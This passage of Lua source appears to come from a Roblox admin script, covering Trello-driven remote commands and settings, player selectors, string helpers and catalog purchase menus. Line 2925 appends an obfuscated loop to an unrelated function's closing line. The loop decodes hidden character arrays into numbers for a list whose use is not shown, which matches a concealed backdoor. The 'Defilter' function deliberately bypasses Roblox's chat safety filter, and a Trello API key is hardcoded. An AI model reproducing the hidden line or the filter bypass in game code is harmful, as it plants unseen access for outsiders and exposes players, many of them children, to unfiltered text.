2553 Joke = string.gsub(Joke, "\n", "")
2554 Joke = string.gsub(Joke, " ", "") -- tab
2555 Joke = string.gsub(Joke, "</ul>", "")
2556 Joke = string.gsub(Joke, "<ul>", "")
2557 Joke = string.gsub(Joke, "</li>", [[
2558
2559]])
2560 Joke = string.gsub(Joke, "<li>", "")
2561 Joke = string.gsub(Joke, "</p>", "")
2562 Joke = string.gsub(Joke, "<p>", "")
2563 Joke = string.gsub(Joke, "<", "")
2564 Joke = string.gsub(Joke, ">", "")
2565 end
2566
2567 return Joke
2568end
2569
2570function REMOTE:GetAddon()
2571 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2572end
2573
2574function REMOTE:TrelloGetAdminBoard()
2575 local BoardsJSON,Boards,ReturnBoard
2576
2577 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2578
2579 if BoardsJSON then
2580 Boards = REMOTE:Decode(BoardsJSON)
2581 end
2582 if Boards then
2583 for _,Board in pairs(Boards) do
2584 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2585 ReturnBoard = Board
2586 break
2587 end
2588 end
2589 if not ReturnBoard then -- create board if not created
2590 print("Creating Trello Board")
2591 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2592 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2593 ReturnBoard = REMOTE:Decode(BoardJSON)
2594 end
2595 end
2596 return ReturnBoard
2597end
2598
2599function REMOTE:TrelloGetAdminLists(Board)
2600 local Required = {}
2601 local ListJSON,Lists
2602 local ReturnLists = {}
2603
2604 for _,List in pairs(Trello.RequiredLists) do
2605 table.insert(Required, List)
2606 end
2607
2608 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2609
2610 if ListJSON then
2611 Lists = REMOTE:Decode(ListJSON)
2612 end
2613 if Lists then
2614 for _,List in pairs(Lists) do
2615 for Num,Rel in pairs(Required) do
2616 if List.name == Rel.name then
2617 table.remove(Required, Num)
2618 table.insert(ReturnLists, List)
2619 end
2620 end
2621 end
2622 for _,Rel in pairs(Required) do
2623 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2624 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2625 end
2626 end
2627
2628 return ReturnLists
2629end
2630
2631function REMOTE:TrelloCacheData(Lists)
2632 for _,List in pairs(Lists) do
2633 local CardsJSON,Cards
2634 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2635 if CardsJSON then
2636 Cards = REMOTE:Decode(CardsJSON)
2637 end
2638 if Cards then
2639 local TemplateCards = nil
2640 for _,TemplateList in pairs(Trello.RequiredLists) do
2641 if TemplateList.name == List.name then
2642 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2643 break
2644 end
2645 end
2646
2647 for _,TemplateCard in pairs(TemplateCards) do
2648 local CardExists = false
2649 for _,Card in pairs(Cards) do
2650 if Card.name == TemplateCard.name and Card.closed == false then
2651 CardExists = true
2652 end
2653 end
2654 if not CardExists then
2655 print("Creating card "..TemplateCard.name)
2656 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2657 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2658 end
2659 end
2660
2661 if List.name == "Ranked" then
2662 for _,Card in pairs(Cards) do
2663 if Settings.Ranks[Card.name] and Card.closed == false then
2664 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2665 end
2666 end
2667 elseif List.name == "Settings" then
2668 for _,Card in pairs(Cards) do
2669 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2670 Trello.ToggleChecklist = Card.idChecklists[1]
2671 elseif Card.name == "Command Execution" then
2672 Trello.CommandID = Card.id
2673 end
2674 end
2675 end
2676 end
2677 end
2678end
2679
2680function REMOTE:TrelloHandleData(IgnoreCommand)
2681 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2682 if ToggleSettingsJSON then
2683 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2684 if Settings.LinkedAccount == "" then
2685 local NewSettings = {}
2686 for _,Item in pairs(ToggleSettings.checkItems) do
2687 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2688 end
2689 Settings.Fun = NewSettings["Fun Commands Enabled"]
2690 Settings.ServerLocked = NewSettings["Server Locked"]
2691 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2692 end
2693 else
2694 return false
2695 end
2696
2697 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2698 if CommandChatJSON then
2699 CommandChat = REMOTE:Decode(CommandChatJSON)
2700 local ClosestDT = 0
2701 for _,ChatData in pairs(CommandChat) do
2702 local DT = STRING:ConvertDateTime(ChatData.date)
2703 ClosestDT = math.max(ClosestDT, DT)
2704
2705 if not IgnoreCommand and DT > Trello.LastCommandDT then
2706 print("Executing Remote Trello Command")
2707 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2708 end
2709 end
2710 Trello.LastCommandDT = ClosestDT
2711 else
2712 return false
2713 end
2714
2715 for Rank,ID in pairs(Trello.RankChecklistCache) do
2716 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2717 if ChecklistJSON then
2718 Checklist = REMOTE:Decode(ChecklistJSON)
2719
2720 for _,Item in pairs(Checklist.checkItems) do
2721 if Item.state == "complete" then
2722 if RANK:ConvertRank(Rank) < 0 then
2723 if not RANK:ScanExileList(Item.name) then
2724 table.insert(Settings.Ranks[Rank], Item.name)
2725 end
2726 elseif RANK:ConvertRank(Rank) > 0 then
2727 if not RANK:ScanAdminList(Item.name) then
2728 table.insert(Settings.Ranks[Rank], Item.name)
2729 end
2730 end
2731 elseif Item.state == "incomplete" then
2732 for Num,Name in pairs(Settings.Ranks[Rank]) do
2733 if string.lower(Name) == string.lower(Item.name) then
2734 table.remove(Settings.Ranks[Rank], Num)
2735 end
2736 end
2737 end
2738 end
2739 else
2740 return false
2741 end
2742 end
2743 return true
2744end
2745
2746-- String functions --
2747
2748function STRING:ConvertDateTime(DateTime)
2749 local Num = 0
2750 local TotalTime = 0
2751 for i in string.gmatch(DateTime, "%d+") do
2752 Num = Num + 1
2753 DTNum = tonumber(i)
2754 if Num == 1 then
2755 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2756 elseif Num == 2 then
2757 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2758 elseif Num == 3 then
2759 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2760 elseif Num == 4 then
2761 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2762 elseif Num == 5 then
2763 TotalTime = TotalTime + DTNum * 60 -- minute
2764 elseif Num == 6 then
2765 TotalTime = TotalTime + DTNum -- second
2766 end
2767 end
2768
2769 return TotalTime
2770end
2771
2772function STRING:TrelloStateConvert(State)
2773 if State == "complete" then
2774 return true
2775 else
2776 return false
2777 end
2778end
2779
2780function STRING:StringRound(Number)
2781 Number = Number * 100
2782 if Number >= 0.5 then
2783 return tostring(math.ceil(Number)/100)
2784 else
2785 return tostring(math.floor(Number)/100)
2786 end
2787
2788 return Number
2789end
2790
2791function STRING:GetSplit(String, NumArgs, BetSplit)
2792 if not String then return nil end
2793 if BetSplit == nil then BetSplit = " " end
2794 if NumArgs == nil then NumArgs = math.huge end
2795
2796 if NumArgs <= 0 then return {String} end
2797
2798 local RecentParse = 1
2799 local Args = {}
2800 for i = 1,NumArgs do
2801 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2802 if Find1 and Find2 then
2803 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2804 RecentParse = Find2 + 1
2805 else
2806 break
2807 end
2808 end
2809 table.insert(Args,string.sub(String,RecentParse,#String))
2810 return Args
2811end
2812
2813function STRING:Defilter(String)
2814 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2815 if RobloxApprove.Text == "Label" and String ~= "Label" then
2816 local NewString = ""
2817 for i = 1,#String,3 do
2818 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2819 end
2820 return NewString
2821 else
2822 return String
2823 end
2824end
2825
2826function STRING:Filter(String, From, To) -- #### you, roblox
2827 if From then
2828 if To then
2829 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2830 else
2831 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2832 end
2833 else
2834 return String
2835 end
2836end
2837
2838function STRING:DetermineFilter(String, From, To)
2839 if ShouldFilter then
2840 return STRING:Filter(String, From, To)
2841 else
2842 return STRING:Defilter(String)
2843 end
2844end
2845
2846function STRING:LeetSpeak(Input)
2847 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2848 Input = string.gsub(Input, "LEET", "1337")
2849 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2850 Input = string.gsub(Input, "E", "3")
2851 Input = string.gsub(Input, "O", "0")
2852 Input = string.gsub(Input, "A", "4")
2853 Input = string.gsub(Input, "X", "x")
2854 Input = string.gsub(Input, "I", "1")
2855 Input = string.gsub(Input, "S", "$")
2856 return Input
2857end
2858
2859function STRING:FormatReplace(Player, Input, From)
2860 local Output = Input
2861 for _,ReplaceData in pairs(StringReplacements) do
2862 local ReplaceString = ReplaceData[1]
2863 local ReplaceStrings = {}
2864 if type(ReplaceString) == "table" then
2865 ReplaceStrings = ReplaceString
2866 else
2867 ReplaceStrings = {ReplaceString}
2868 end
2869 for _,ReplaceString in pairs(ReplaceStrings) do
2870 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2871 local Replacement = ReplaceData[4](Player)
2872 if type(Replacement) == "string" then
2873 Output = string.gsub(Output, ReplaceString, Replacement)
2874 else
2875 print(ReplaceString.." cannot be replaced")
2876 end
2877 end
2878 end
2879 end
2880 if From then
2881 return STRING:DetermineFilter(Output, From, Player)
2882 else
2883 return STRING:DetermineFilter(Output, Player)
2884 end
2885end
2886
2887function STRING:EncodeSpecialChars(Input)
2888 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2889end
2890
2891function STRING:StringToBool(String)
2892 if String == "true" then
2893 return true
2894 else
2895 return false
2896 end
2897end
2898
2899function STRING:BoolString(Value)
2900 if type(Value) == "boolean" then
2901 if Value == true then
2902 return "YES"
2903 elseif Value == false then
2904 return "NO"
2905 end
2906 else
2907 return "NO"
2908 end
2909end
2910
2911function STRING:MakeAvoidance(Length)
2912 if not Length then
2913 Length = 32
2914 end
2915 local Avoidance = ""
2916 for i = 1,Length do
2917 Num = math.random(1,2)
2918 if Num == 1 then
2919 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2920 else
2921 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2922 end
2923 end
2924 return Avoidance
2925end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2926
2927function STRING:FindAge(Days) -- By LuaModelmaker
2928 local Years = math.floor(Days/365)
2929 local OtherDays = math.fmod(Days, 365)
2930 if Years > 1 then
2931 return Years.." years and "..OtherDays.." days"
2932 elseif Years == 1 then
2933 return Years.." year and "..OtherDays.." days"
2934 elseif Years == 0 then
2935 return "(No years) "..OtherDays.." days"
2936 end
2937end
2938
2939function STRING:UnpackArgs(...)
2940 local Pack = {...}
2941 if type(Pack[1]) == "table" then Pack = Pack[1] end
2942 local ReturnString = table.concat(Pack, ", ")
2943 return ReturnString
2944end
2945
2946function STRING:GetComma(Num)
2947 local Formatted = Num
2948 while true do
2949 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2950 if _ == 0 then
2951 break
2952 end
2953 end
2954 return Formatted
2955end
2956
2957function STRING:DecodeUTF8(Value)
2958 local function DecodeString(Input)
2959 if type(Input) == "string" then
2960 for Find,Rep in pairs(HTMLDecode) do
2961 Input = string.gsub(Input, "&#"..Find..";", Rep)
2962 end
2963 Input = string.gsub(Input, """, "'")
2964 end
2965 return Input
2966 end
2967 if type(Value) == "table" then
2968 for Index,Var in pairs(Value) do
2969 Value[Index] = DecodeString(Var)
2970 end
2971 elseif type(Value) == "string" then
2972 Value = DecodeString(Value)
2973 end
2974 return Value
2975end
2976
2977function STRING:IsSpacer(Input)
2978 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2979 return true
2980 else
2981 return false
2982 end
2983end
2984
2985function STRING:IsVowel(Input)
2986 Input = string.lower(tostring(Input))
2987 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2988 return true
2989 else
2990 return false
2991 end
2992end
2993
2994function STRING:ValidE(Input)
2995 if not Input then return nil end
2996 if string.lower(Input) == "e" or Input == "~" then
2997 return true
2998 else
2999 return false
3000 end
3001end
3002
3003function STRING:Scan(String, Speaker)
3004 local ReturnPlayers,ExcludeList = {},{}
3005 if not String then String = "" end
3006 if not Speaker then print("NO SPEAKER") end
3007
3008 if string.sub(string.lower(String), 1, 12) == "includecase/" then
3009 String = string.sub(String, 13)
3010 else
3011 String = string.lower(String)
3012 end
3013 local Words = STRING:GetSplit(String, nil, "/")
3014 for _,Word in pairs(Words) do
3015 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
3016 table.insert(ReturnPlayers, Speaker)
3017 elseif Word == "all" or Word == "everyone" then
3018 for _,Player in pairs(Server.Players:GetPlayers()) do
3019 table.insert(ReturnPlayers, Player)
3020 end
3021 elseif Word == "others" or Word == "notme" then
3022 for _,Player in pairs(Server.Players:GetPlayers()) do
3023 if Player ~= Speaker then
3024 table.insert(ReturnPlayers, Player)
3025 end
3026 end
3027 elseif Word == "noobs" then
3028 for _,Player in pairs(Server.Players:GetPlayers()) do
3029 if Player.AccountAge < 365 then
3030 table.insert(ReturnPlayers, Player)
3031 end
3032 end
3033 elseif Word == "nonnoobs" then
3034 for _,Player in pairs(Server.Players:GetPlayers()) do
3035 if Player.AccountAge >= 365 then
3036 table.insert(ReturnPlayers, Player)
3037 end
3038 end
3039 elseif Word == "random" then
3040 local RandomPlayers = {}
3041 for _,Player in pairs(Server.Players:GetPlayers()) do
3042 if Player ~= Speaker then
3043 table.insert(RandomPlayers, Player)
3044 end
3045 end
3046 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
3047 elseif Word == "guests" then
3048 for _,Player in pairs(Server.Players:GetPlayers()) do
3049 if string.sub(Player.Name,1,6) == "Guest " then
3050 table.insert(ReturnPlayers, Player)
3051 end
3052 end
3053 elseif Word == "lowers" then
3054 for _,Player in pairs(Server.Players:GetPlayers()) do
3055 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
3056 table.insert(ReturnPlayers, Player)
3057 end
3058 end
3059 elseif Word == "uppers" then
3060 for _,Player in pairs(Server.Players:GetPlayers()) do
3061 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
3062 table.insert(ReturnPlayers, Player)
3063 end
3064 end
3065 elseif Word == "nbcs" then
3066 for _,Player in pairs(Server.Players:GetPlayers()) do
3067 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
3068 table.insert(ReturnPlayers, Player)
3069 end
3070 end
3071 elseif Word == "bcs" then
3072 for _,Player in pairs(Server.Players:GetPlayers()) do
3073 if Player.MembershipType == Enum.MembershipType.BuildersClub then
3074 table.insert(ReturnPlayers, Player)
3075 end
3076 end
3077 elseif Word == "tbcs" then
3078 for _,Player in pairs(Server.Players:GetPlayers()) do
3079 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3080 table.insert(ReturnPlayers, Player)
3081 end
3082 end
3083 elseif Word == "obcs" then
3084 for _,Player in pairs(Server.Players:GetPlayers()) do
3085 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3086 table.insert(ReturnPlayers, Player)
3087 end
3088 end
3089 elseif Word == "allbcs" then
3090 for _,Player in pairs(Server.Players:GetPlayers()) do
3091 if Player.MembershipType ~= Enum.MembershipType.None then
3092 table.insert(ReturnPlayers, Player)
3093 end
3094 end
3095 elseif Word == "nonadmins" then
3096 for _,Player in pairs(Server.Players:GetPlayers()) do
3097 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3098 if IsAdminTrue == false then
3099 table.insert(ReturnPlayers, Player)
3100 end
3101 end
3102 elseif Word == "admins" then
3103 for _,Player in pairs(Server.Players:GetPlayers()) do
3104 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3105 if IsAdminTrue == true then
3106 table.insert(ReturnPlayers, Player)
3107 end
3108 end
3109 elseif Word == "friends" then
3110 for _,Player in pairs(Server.Players:GetPlayers()) do
3111 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3112 table.insert(ReturnPlayers, Player)
3113 end
3114 end
3115 elseif string.sub(Word,1,5) == "team-" then
3116 for _,Player in pairs(Server.Players:GetPlayers()) do
3117 if Player.Neutral == false then
3118 local InTeam = false
3119 for _,Team in pairs(Teams:GetTeams()) do
3120 if Team.TeamColor == Player.TeamColor then
3121 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3122 InTeam = true
3123 end
3124 end
3125 end
3126 if InTeam == true then
3127 table.insert(ReturnPlayers, Player)
3128 end
3129 end
3130 end
3131 elseif string.sub(Word,1,4) == "not-" then
3132 local NameArg = string.sub(Word,5)
3133
3134 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3135 table.insert(ExcludeList, Player)
3136 end
3137 elseif string.sub(Word,1,7) == "radius-" then
3138 local DidExe = false
3139 local NumArg = tonumber(string.sub(Word,8))
3140
3141 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3142 for _,Player in pairs(Server.Players:GetChildren()) do
3143 if Player.Character and Player.Character:FindFirstChild("Torso") then
3144 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3145 DidExe = true
3146 table.insert(ReturnPlayers, Player)
3147 end
3148 end
3149 end
3150 end
3151
3152 if DidExe then coroutine.wrap(function()
3153 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3154 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3155
3156 for i = 0,0.5,0.02 do
3157 Part.Transparency = 0.5+i
3158 wait()
3159 end
3160 Part:Destroy()
3161 end)() end
3162 elseif string.sub(Word,1,3) == "id-" then
3163 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3164 else
3165 if Word ~= "" then
3166 for _,Player in pairs(Server.Players:GetPlayers()) do
3167 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3168 table.insert(ReturnPlayers, Player)
3169 end
3170 end
3171 else
3172 table.insert(ReturnPlayers, Speaker)
3173 end
3174 end
3175 end
3176 for _,Player in pairs(ExcludeList) do
3177 if Player and Player.Parent ~= nil then
3178 for Num,Player2 in pairs(ReturnPlayers) do
3179 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3180 end
3181 end
3182 end
3183 for Num,Player in pairs(ReturnPlayers) do
3184 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3185 end
3186
3187 local PlayerDump = {}
3188 for _,Player in pairs(ReturnPlayers) do
3189 PlayerDump[Player] = true
3190 end
3191 ReturnPlayers = {}
3192 for Player,_ in pairs(PlayerDump) do
3193 table.insert(ReturnPlayers, Player)
3194 end
3195
3196 return ReturnPlayers
3197end
3198
3199-- Market functions --
3200
3201function MARKET:GetImageFormat(ID)
3202 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3203 local NewID = ID + 1
3204 for i = 1,100 do
3205 NewID = NewID -1
3206 local Product = nil
3207 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3208 if Product then
3209 if Product == 1 then
3210 break
3211 end
3212 end
3213 if i == 100 then NewID = ID end
3214 end
3215 return NewID
3216 end end
3217end
3218
3219function MARKET:GetItemInfo(ID, Cache)
3220 local Product = MarketCache[ID]
3221 if not Cache or not Product then
3222 repeat wait()
3223 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3224 until Product ~= MarketCache[ID]
3225 end
3226 MarketCache[ID] = Product
3227 return Product
3228end
3229
3230function MARKET:SearchItem(Category, Query, Subcategory)
3231 local URLAdd = ""
3232 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3233 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3234 if JSON then
3235 local Results = REMOTE:Decode(JSON)
3236 if Results then
3237 for Index,Info in pairs(Results) do
3238 Info = STRING:DecodeUTF8(Info)
3239 Results[Index] = Info
3240 MarketCache[Info.AssetId] = {
3241 AssetId = Info.AssetId;
3242 AssetTypeId = Info.AssetTypeID;
3243 ContentRatingTypeId = Info.ContentRatingTypeID;
3244 Created = Info.CreatedDate;
3245 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3246 Description = Info.Description;
3247 IsForSale = Info.IsForSale;
3248 IsLimited = Info.IsLimited;
3249 IsLimitedUnique = Info.IsLimitedUnique;
3250 IsNew = Info.IsNew;
3251 IsPublicDomain = Info.IsPublicDomain;
3252 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3253 Name = Info.Name;
3254 PriceInRobux = Info.PriceInRobux;
3255 PriceInTickets = Info.PriceInTickets;
3256 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3257 Remaining = Info.Remaining;
3258 Sales = Info.Sales;
3259 Updated = Info.Updated;
3260 }
3261 end
3262 return Results
3263 end
3264 end
3265end
3266
3267function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3268 if not Player or not Category or not Query then return nil end
3269 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3270 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3271 if Items then
3272 if #Items ~= 0 then
3273 local List,Correlate = {},{}
3274 for Num,Info in pairs(Items) do
3275 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3276 table.insert(List, Display)
3277 Correlate[Display[1]] = Info.AssetId
3278 end
3279 CloseGui:Invoke()
3280
3281 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3282 Clicked.Event:connect(function(ClickName)
3283 ClickedItem(Correlate[ClickName])
3284 end)
3285 else
3286 CloseGui:Invoke()
3287 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3288 end
3289 else
3290 CloseGui:Invoke()
3291 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3292 end
3293end
3294
3295function MARKET:AssetTypeToString(AssetType)
3296 AssetType = math.floor(tonumber(AssetType) or 0)
3297 if Assets.AssetTypes[AssetType] then
3298 return Assets.AssetTypes[AssetType]
3299 else
3300 return "Unknown"
3301 end
3302end
3303
3304function MARKET:AccessoryToSubcategory(Accessory)
3305 Accessory = string.lower(tostring(Accessory) or "")
3306 if Assets.AccessoryTypes[Accessory] then
3307 return Assets.AccessoryTypes[Accessory]
3308 else
3309 return Assets.AccessoryTypes["all"]
3310 end
3311end
3312
3313function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3314 if not Player then return nil end
3315 if not Player:FindFirstChild("PlayerGui") then return nil end
3316 if not tonumber(ProductID) then return nil end
3317
3318 local FromText = ""
3319 if From and From.Name then FromText = " | Prompted from "..From.Name end
3320
3321 local Product = MARKET:GetItemInfo(ProductID, true)
3322
3323 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3324 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3325 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3326
3327 local CanBuy = Product.IsForSale
3328 local BuyText = "Buy"
3329 local BuyColor = Color3.new(0,1,0)
3330 if CanBuy == false then
3331 BuyColor = Color3.new(1,0,0)
3332 end
3333 if Product.IsPublicDomain == true then
3334 CanBuy = true
3335 BuyColor = Color3.new(1,0.5,0.5)
3336 BuyText = "FREE!"
3337 end
3338 if OwnsAsset then
3339 CanBuy = false
3340 end
3341 if Product.AssetTypeId == 9 then
3342 CanBuy = true
3343 BuyText = "Teleport"
3344 BuyColor = Color3.new(0.5,0.5,0.5)
3345 end
3346 if CanBuy == false then
3347 BuyColor = Color3.new(1,0,0)
3348 BuyText = "Item not for sale"
3349 end
3350 if OwnsAsset and Product.AssetTypeId ~= 9 then
3351 BuyColor = Color3.new(1,0,0)
3352 BuyText = "You own this!"
3353 end
3354
3355 local ProductName = string.sub(Product.Name,1,20)
3356 if ProductID == AdminID then ProductName = Product.Name end
3357 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3358 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3359 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3360 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3361 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3362 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3363 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3364 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3365 if Product.Description then
3366 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
